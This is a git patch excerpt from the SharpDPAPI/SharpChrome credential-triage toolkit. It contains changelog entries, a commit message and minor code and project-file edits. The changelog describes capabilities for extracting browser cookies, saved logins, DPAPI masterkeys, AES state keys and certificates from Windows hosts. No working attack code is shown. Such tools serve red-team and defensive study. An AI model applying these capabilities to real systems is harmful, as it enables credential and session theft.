diff --git a/CHANGELOG.md b/CHANGELOG.md index 19723a7..b2488cb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,19 +5,20 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [1.9.0] - 2020-09-02 +## [1.9.1] - 2020-11-05 + +### Added +* **SharpDPAPI** project + * Ability to triage masterkey targets (or folder of targets) manually ### Added * **SharpChrome** project - * Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge` - * Added the `statekeys` command to triage reachable Chromiun AES state keys. - * Added the ability to supply `/statekey:X` to `cookies` and `logins` commands. + * Added Chromium-based brave support + * Added `/quiet` flag for csv output ### Fixed * **SharpChrome** project - * Cookie expires filtering for 0 values. - -* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md) + * Filtering fixes for cookies ## [1.8.0] - 2020-07-13 From 408e98ecd3c5028b4bca84469fa4c305581c3b00 Mon Sep 17 00:00:00 2001 From: harmj0y Date: Mon, 4 Jan 2021 18:24:56 -0800 Subject: [PATCH 12/66] Version 1.9.2 -User certificate extraction corrected -Added more certificate information on extraction (including Enhanced Key Usages) -Fixed a few formatting issues -Added /target option for machinecertificates command --- CHANGELOG.md | 13 + SharpChrome/Commands/Cookies.cs | 2 +- SharpChrome/SharpChrome.csproj | 7 + SharpChrome/app.config | 3 + SharpDPAPI/Commands/Certificate.cs | 4 +- SharpDPAPI/Commands/MachineCertificates.cs | 15 +- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/SharpDPAPI.csproj | 1 + SharpDPAPI/lib/Certificate.cs | 30 ++ SharpDPAPI/lib/Dpapi.cs | 328 ++++++++++++--------- SharpDPAPI/lib/Helpers.cs | 2 +- SharpDPAPI/lib/Triage.cs | 111 +++---- 12 files changed, 292 insertions(+), 226 deletions(-) create mode 100644 SharpChrome/app.config create mode 100644 SharpDPAPI/lib/Certificate.cs diff --git a/CHANGELOG.md b/CHANGELOG.md index b2488cb..c4a82eb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,19 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.9.2] - 2021-01-04 + +### Added +* **SharpDPAPI** project + * /target option for machinecertificates + * more certification information on extraction (including Enhanced Key Usages) + +### Fixed +* **SharpDPAPI** project + * User certificate extraction corrected + * Few formatting issues + + ## [1.9.1] - 2020-11-05 ### Added diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index b0230ca..0e76651 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -74,7 +74,7 @@ public void Execute(Dictionary arguments) stateKey = arguments["/statekey"]; if (!quiet) { - Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + Console.WriteLine("[*] Using AES State Key: {0}\r\n", stateKey); } } diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index fc46a61..70692df 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -11,6 +11,7 @@ SharpChrome v3.5 512 + AnyCPU @@ -53,6 +54,9 @@ lib\BigInteger.cs + + lib\Certificate.cs + lib\Crypto.cs @@ -175,6 +179,9 @@ + + +